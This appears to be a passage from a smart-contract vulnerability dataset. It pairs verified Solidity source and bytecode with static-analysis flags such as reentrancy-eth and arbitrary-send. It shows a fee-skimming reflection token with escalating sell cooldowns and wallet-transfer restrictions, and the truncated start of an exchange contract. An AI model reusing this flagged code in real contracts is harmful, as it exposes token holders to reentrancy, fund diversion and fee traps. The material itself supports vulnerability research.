2e4c442712bfc8a7a7cf8e595965053ba55d36b4ca1678153104b0996464736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
5,833
0x3ee7b19fdfa8b342f7cf5ec65919c738175a00aa
/** *Submitted for verification at Etherscan.io on 2021-06-08 */ /* SPDX-License-Identifier: MIT */ pragma solidity >=0.7.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract ERC20 is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ERC20"; string private constant _symbol = "erc20"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 2718281828459 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public _eViralBurned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; address payable private _developmentFunds; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool public tradeAllowed = false; bool private liquidityAdded = false; bool private inSwap = false; bool public swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _reflection = 7; uint256 private _teamFee = 7; uint256 private _viralBurn = 1; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2, address payable addr3) { _teamAddress = addr1; _marketingFunds = addr2; _developmentFunds = addr3; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; _isExcludedFromFee[_developmentFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function releaseEViral() public onlyOwner { require(liquidityAdded); tradeAllowed = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 8154845485 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setCooldownEnabled(bool enable) external onlyOwner() { cooldownEnabled = enable; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradeAllowed); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (45 seconds); _teamFee = 7; _reflection = 3; _viralBurn = 0; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(271828).div(10000000) && amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (1 days) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (1 hours); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (2 hours); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (3 hours); } else if (sellnumber[from] == 3) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (7 hours); } else if (sellnumber[from] == 4) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + (1 days); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function removeAllFee() private { if (_reflection == 0 && _teamFee == 0 && _viralBurn == 0) return; _reflection = 0; _teamFee = 0; _viralBurn = 0; } function restoreAllFee() private { _reflection = 7; _teamFee = 7; _viralBurn = 1; } function setFee(uint256 multiplier) private { _reflection = _reflection.mul(multiplier); _viralBurn = _viralBurn.mul(multiplier); _teamFee = 7; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 amount) private { (uint256 tAmount, uint256 tBurn) = _viralEthBurn(amount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount, tBurn); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _viralEthBurn(uint amount) private returns (uint, uint) { uint orgAmount = amount; uint256 currentRate = _getRate(); uint256 tBurn = amount.mul(_viralBurn).div(100); uint256 rBurn = tBurn.mul(currentRate); _tTotal = _tTotal.sub(tBurn); _rTotal = _rTotal.sub(rBurn); _eViralBurned = _eViralBurned.add(tBurn); return (orgAmount, tBurn); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount, uint256 tBurn) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflection, _teamFee, tBurn); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee, uint256 tBurn) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam).sub(tBurn); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(3)); _marketingFunds.transfer(amount.div(3)); _developmentFunds.transfer(amount.div(3)); } receive() external payable {} }
0x60806040526004361061012e5760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103cb578063a9059cbb146103e0578063c3c8cd8014610419578063d543dbeb1461042e578063dd62ed3e14610458578063e8078d941461049357610135565b80636fc3eaec1461034457806370a0823114610359578063715018a61461038c5780637a32bae4146103a15780638da5cb5b146103b657610135565b806323b872dd116100f257806323b872dd14610264578063313ce567146102a757806349bd5a5e146102d25780635932ead1146103035780636ddd17131461032f57610135565b806306fdde031461013a578063095ea7b3146101c45780631392d2651461021157806318160ddd146102285780631dfbdf291461024f57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104a8565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610189578181015183820152602001610171565b50505050905090810190601f1680156101b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d057600080fd5b506101fd600480360360408110156101e757600080fd5b506001600160a01b0381351690602001356104c7565b604080519115158252519081900360200190f35b34801561021d57600080fd5b506102266104e5565b005b34801561023457600080fd5b5061023d610568565b60408051918252519081900360200190f35b34801561025b57600080fd5b5061023d61056e565b34801561027057600080fd5b506101fd6004803603606081101561028757600080fd5b506001600160a01b03813581169160208101359091169060400135610574565b3480156102b357600080fd5b506102bc6105fb565b6040805160ff9092168252519081900360200190f35b3480156102de57600080fd5b506102e7610600565b604080516001600160a01b039092168252519081900360200190f35b34801561030f57600080fd5b506102266004803603602081101561032657600080fd5b5035151561060f565b34801561033b57600080fd5b506101fd610685565b34801561035057600080fd5b50610226610695565b34801561036557600080fd5b5061023d6004803603602081101561037c57600080fd5b50356001600160a01b03166106fa565b34801561039857600080fd5b5061022661071c565b3480156103ad57600080fd5b506101fd6107be565b3480156103c257600080fd5b506102e76107ce565b3480156103d757600080fd5b5061014f6107dd565b3480156103ec57600080fd5b506101fd6004803603604081101561040357600080fd5b506001600160a01b0381351690602001356107fc565b34801561042557600080fd5b50610226610810565b34801561043a57600080fd5b506102266004803603602081101561045157600080fd5b503561087e565b34801561046457600080fd5b5061023d6004803603604081101561047b57600080fd5b506001600160a01b0381358116916020013516610985565b34801561049f57600080fd5b506102266109b0565b604080518082019091526005815264045524332360dc1b602082015290565b60006104db6104d4610d40565b8484610d44565b5060015b92915050565b6104ed610d40565b6000546001600160a01b0390811691161461053d576040805162461bcd60e51b81526020600482018190526024820152600080516020611e3f833981519152604482015290519081900360640190fd5b601254600160a81b900460ff1661055357600080fd5b6012805460ff60a01b1916600160a01b179055565b60045490565b60075481565b6000610581848484610e30565b6105f18461058d610d40565b6105ec85604051806060016040528060288152602001611e17602891396001600160a01b038a166000908152600860205260408120906105cb610d40565b6001600160a01b03168152602081019190915260400160002054919061146b565b610d44565b5060019392505050565b600990565b6012546001600160a01b031681565b610617610d40565b6000546001600160a01b03908116911614610667576040805162461bcd60e51b81526020600482018190526024820152600080516020611e3f833981519152604482015290519081900360640190fd5b60128054911515600160c01b0260ff60c01b19909216919091179055565b601254600160b81b900460ff1681565b61069d610d40565b6000546001600160a01b039081169116146106ed576040805162461bcd60e51b81526020600482018190526024820152600080516020611e3f833981519152604482015290519081900360640190fd5b476106f781611502565b50565b6001600160a01b0381166000908152600260205260408120546104df906115ce565b610724610d40565b6000546001600160a01b03908116911614610774576040805162461bcd60e51b81526020600482018190526024820152600080516020611e3f833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b601254600160a01b900460ff1681565b6000546001600160a01b031690565b604080518082019091526005815264065726332360dc1b602082015290565b60006104db610809610d40565b8484610e30565b610818610d40565b6000546001600160a01b03908116911614610868576040805162461bcd60e51b81526020600482018190526024820152600080516020611e3f833981519152604482015290519081900360640190fd5b6000610873306106fa565b90506106f78161162e565b610886610d40565b6000546001600160a01b039081169116146108d6576040805162461bcd60e51b81526020600482018190526024820152600080516020611e3f833981519152604482015290519081900360640190fd5b6000811161092b576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b61094b6064610945836004546117fd90919063ffffffff16565b90611856565b601381905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b6109b8610d40565b6000546001600160a01b03908116911614610a08576040805162461bcd60e51b81526020600482018190526024820152600080516020611e3f833981519152604482015290519081900360640190fd5b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117918290556004549091610a4c9130916001600160a01b031690610d44565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8557600080fd5b505afa158015610a99573d6000803e3d6000fd5b505050506040513d6020811015610aaf57600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610aff57600080fd5b505afa158015610b13573d6000803e3d6000fd5b505050506040513d6020811015610b2957600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b7b57600080fd5b505af1158015610b8f573d6000803e3d6000fd5b505050506040513d6020811015610ba557600080fd5b5051601280546001600160a01b0319166001600160a01b039283161790556011541663f305d7194730610bd7816106fa565b600080610be26107ce565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c4d57600080fd5b505af1158015610c61573d6000803e3d6000fd5b50505050506040513d6060811015610c7857600080fd5b50506012805460ff60a81b1960ff60c01b1960ff60b81b19909216600160b81b1791909116600160c01b1716600160a81b179081905567712bd4c32b9f82006013556011546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610d1157600080fd5b505af1158015610d25573d6000803e3d6000fd5b505050506040513d6020811015610d3b57600080fd5b505050565b3390565b6001600160a01b038316610d895760405162461bcd60e51b8152600401808060200182810382526024815260200180611ead6024913960400191505060405180910390fd5b6001600160a01b038216610dce5760405162461bcd60e51b8152600401808060200182810382526022815260200180611dd46022913960400191505060405180910390fd5b6001600160a01b03808416600081815260086020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610e755760405162461bcd60e51b8152600401808060200182810382526025815260200180611e886025913960400191505060405180910390fd5b6001600160a01b038216610eba5760405162461bcd60e51b8152600401808060200182810382526023815260200180611d876023913960400191505060405180910390fd5b60008111610ef95760405162461bcd60e51b8152600401808060200182810382526029815260200180611e5f6029913960400191505060405180910390fd5b610f016107ce565b6001600160a01b0316836001600160a01b031614158015610f3b5750610f256107ce565b6001600160a01b0316826001600160a01b031614155b1561140e57601254600160c01b900460ff1615611035576001600160a01b0383163014801590610f7457506001600160a01b0382163014155b8015610f8e57506011546001600160a01b03848116911614155b8015610fa857506011546001600160a01b03838116911614155b15611035576011546001600160a01b0316610fc1610d40565b6001600160a01b03161480610ff057506012546001600160a01b0316610fe5610d40565b6001600160a01b0316145b611035576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b6012546001600160a01b03848116911614801561106057506011546001600160a01b03838116911614155b801561108557506001600160a01b03821660009081526009602052604090205460ff16155b801561109a5750601254600160c01b900460ff165b1561111457601254600160a01b900460ff166110b557600080fd5b6013548111156110c457600080fd5b6001600160a01b0382166000908152600a602052604090205442116110e857600080fd5b6001600160a01b0382166000908152600a60205260408120602d42019055600760155560036014556016555b600061111f306106fa565b601254909150600160b01b900460ff1615801561114a57506012546001600160a01b03858116911614155b801561115f5750601254600160b81b900460ff165b1561140c5760125461119190629896809061094590620425d49061118b906001600160a01b03166106fa565b906117fd565b82111580156111a257506013548211155b6111ab57600080fd5b6001600160a01b0384166000908152600b602052604090205442116111cf57600080fd5b6001600160a01b0384166000908152600c602052604090205442620151809091011015611210576001600160a01b0384166000908152600d60205260408120555b6001600160a01b0384166000908152600d6020526040902054611270576001600160a01b0384166000908152600d6020908152604080832080546001019055600c82528083204290819055600b909252909120610e1090910190556113cf565b6001600160a01b0384166000908152600d6020526040902054600114156112c6576001600160a01b0384166000908152600d6020908152604080832080546001019055600b9091529020611c20420190556113cf565b6001600160a01b0384166000908152600d60205260409020546002141561131c576001600160a01b0384166000908152600d6020908152604080832080546001019055600b9091529020612a30420190556113cf565b6001600160a01b0384166000908152600d602052604090205460031415611372576001600160a01b0384166000908152600d6020908152604080832080546001019055600b9091529020616270420190556113cf565b6001600160a01b0384166000908152600d6020526040902054600414156113cf576001600160a01b0384166000908152600d6020908152604080832080546001019055600c825280832054600b9092529091206201518090910190555b6113d88161162e565b4780156113e8576113e847611502565b6001600160a01b0385166000908152600d602052604090205461140a90611898565b505b505b6001600160a01b03831660009081526009602052604090205460019060ff168061145057506001600160a01b03831660009081526009602052604090205460ff165b15611459575060005b611465848484846118c0565b50505050565b600081848411156114fa5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156114bf5781810151838201526020016114a7565b50505050905090810190601f1680156114ec5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600e546001600160a01b03166108fc61151c836003611856565b6040518115909202916000818181858888f19350505050158015611544573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61155f836003611856565b6040518115909202916000818181858888f19350505050158015611587573d6000803e3d6000fd5b506010546001600160a01b03166108fc6115a2836003611856565b6040518115909202916000818181858888f193505050501580156115ca573d6000803e3d6000fd5b5050565b60006005548211156116115760405162461bcd60e51b815260040180806020018281038252602a815260200180611daa602a913960400191505060405180910390fd5b600061161b6118f1565b90506116278382611856565b9392505050565b6012805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061167057fe5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156116c457600080fd5b505afa1580156116d8573d6000803e3d6000fd5b505050506040513d60208110156116ee57600080fd5b50518151829060019081106116ff57fe5b6001600160a01b0392831660209182029290920101526011546117259130911684610d44565b60115460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156117ab578181015183820152602001611793565b505050509050019650505050505050600060405180830381600087803b1580156117d457600080fd5b505af11580156117e8573d6000803e3d6000fd5b50506012805460ff60b01b1916905550505050565b60008261180c575060006104df565b8282028284828161181957fe5b04146116275760405162461bcd60e51b8152600401808060200182810382526021815260200180611df66021913960400191505060405180910390fd5b600061162783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611914565b6014546118a590826117fd565b6014556016546118b590826117fd565b601655506007601555565b806118cd576118cd611979565b6118d88484846119b1565b8061146557611465600760148190556015556001601655565b60008060006118fe611acb565b909250905061190d8282611856565b9250505090565b600081836119635760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156114bf5781810151838201526020016114a7565b50600083858161196f57fe5b0495945050505050565b6014541580156119895750601554155b80156119955750601654155b1561199f576119af565b6000601481905560158190556016555b565b6000806119bd83611b02565b915091506000806000806000806119d48888611b7b565b955095509550955095509550611a1886600260008e6001600160a01b03166001600160a01b0316815260200190815260200160002054611bda90919063ffffffff16565b6001600160a01b03808d1660009081526002602052604080822093909355908c1681522054611a479086611c1c565b6001600160a01b038b16600090815260026020526040902055611a6981611c76565b611a738483611cc0565b896001600160a01b03168b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35050505050505050505050565b6005546004546000918291611ae08282611856565b821015611af857600554600454935093505050611afe565b90925090505b9091565b6000808281611b0f6118f1565b90506000611b2d6064610945601654896117fd90919063ffffffff16565b90506000611b3b82846117fd565b600454909150611b4b9083611bda565b600455600554611b5b9082611bda565b600555600754611b6b9083611c1c565b6007555091935090915050915091565b6000806000806000806000806000611b998b6014546015548d611ce4565b9250925092506000611ba96118f1565b90506000806000611bbc8f878787611d36565b919e509c509a50959850939650919450505050509295509295509295565b600061162783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061146b565b600082820183811015611627576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611c806118f1565b90506000611c8e83836117fd565b30600090815260026020526040902054909150611cab9082611c1c565b30600090815260026020526040902055505050565b600554611ccd9083611bda565b600555600654611cdd9082611c1c565b6006555050565b6000808080611cf860646109458a8a6117fd565b90506000611d0b60646109458b8a6117fd565b90506000611d2587611d1f84818e88611bda565b90611bda565b9a9299509097509095505050505050565b6000808080611d4588866117fd565b90506000611d5388876117fd565b90506000611d6188886117fd565b90506000611d7382611d1f8686611bda565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220cac8b4a0a1055dc090c96ca9aeda65ef6332efd6a6d633f88f959d574e46616c64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,834
0x39fbd1140cd1fc298f00c3ea64b3591de94c67e7
pragma solidity ^0.4.19; //ERC20 Token contract Token { function totalSupply() public constant returns (uint); function balanceOf(address _owner) public constant returns (uint); function transfer(address _to, uint _value) public returns (bool); function transferFrom(address _from, address _to, uint _value) public returns (bool); function approve(address _spender, uint _value) public returns (bool); function allowance(address _owner, address _spender) public constant returns (uint); event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract SafeMath { function safeMul(uint a, uint b) internal pure returns (uint256) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal pure returns (uint256) { uint c = a / b; return c; } function safeSub(uint a, uint b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal pure returns (uint256) { uint c = a + b; assert(c >= a); return c; } } contract BitEyeExchange is SafeMath { mapping (address => mapping (address => uint256)) public balances; mapping (bytes32 => bool) public traded; mapping (bytes32 => uint256) public orderFills; address public owner; address public feeAccount; mapping (address => bool) public signers; mapping (address => uint256) public cancels; mapping (bytes32 => bool) public withdraws; uint256 public teamLocked = 300000000 * 1e18; uint256 public teamClaimed = 0; uint256 public totalForMining = 600000000 * 1e18; uint256 public unmined = 600000000 * 1e18; mapping (address => uint256) public mined; address public BEY; mapping (address => uint256) public miningRate; bool public paused = false; event Deposit(address token, address user, uint256 amount, uint256 balance); event Withdraw(address token, address user, uint256 amount, uint256 balance); event Trade(address baseToken, address quoteToken, uint256 volume, uint256 fund, uint256 nonce, address buyer, address seller); event Cancel(address user, bytes32 orderHash, uint256 nonce); event Claim(address user, uint256 amount); function BitEyeExchange(address _feeAccount) public { owner = msg.sender; feeAccount = _feeAccount; } function transferOwnership(address _newOwner) public onlyOwner { if (_newOwner != address(0)) { owner = _newOwner; } } function setFeeAccount(address _newFeeAccount) public onlyOwner { feeAccount = _newFeeAccount; } function addSigner(address _signer) public onlyOwner { signers[_signer] = true; } function removeSigner(address _signer) public onlyOwner { signers[_signer] = false; } function setBEY(address _addr) public onlyOwner { BEY = _addr; } function setMiningRate(address _quoteToken, uint256 _rate) public onlyOwner { miningRate[_quoteToken] = _rate; } function setPaused(bool _paused) public onlyOwner { paused = _paused; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlySigner() { require(signers[msg.sender]); _; } modifier onlyNotPaused() { require(!paused); _; } function() external { revert(); } function depositToken(address token, uint amount) public { balances[token][msg.sender] = safeAdd(balances[token][msg.sender], amount); require(Token(token).transferFrom(msg.sender, this, amount)); Deposit(token, msg.sender, amount, balances[token][msg.sender]); } function deposit() public payable { balances[address(0)][msg.sender] = safeAdd(balances[address(0)][msg.sender], msg.value); Deposit(address(0), msg.sender, msg.value, balances[address(0)][msg.sender]); } function withdraw(address token, uint amount, uint nonce, address _signer, uint8 v, bytes32 r, bytes32 s) public { require(balances[token][msg.sender] >= amount); require(signers[_signer]); bytes32 hash = keccak256(this, msg.sender, token, amount, nonce); require(isValidSignature(_signer, hash, v, r, s)); require(!withdraws[hash]); withdraws[hash] = true; balances[token][msg.sender] = safeSub(balances[token][msg.sender], amount); if (token == address(0)) { require(msg.sender.send(amount)); } else { require(Token(token).transfer(msg.sender, amount)); } Withdraw(token, msg.sender, amount, balances[token][msg.sender]); } function balanceOf(address token, address user) public view returns(uint) { return balances[token][user]; } function updateCancels(address user, uint256 nonce) public onlySigner { require(nonce > cancels[user]); cancels[user] = nonce; } function getMiningRate(address _quoteToken) public view returns(uint256) { uint256 initialRate = miningRate[_quoteToken]; if (unmined > 500000000e18){ return initialRate; } else if (unmined > 400000000e18 && unmined <= 500000000e18){ return initialRate * 9e17 / 1e18; } else if (unmined > 300000000e18 && unmined <= 400000000e18){ return initialRate * 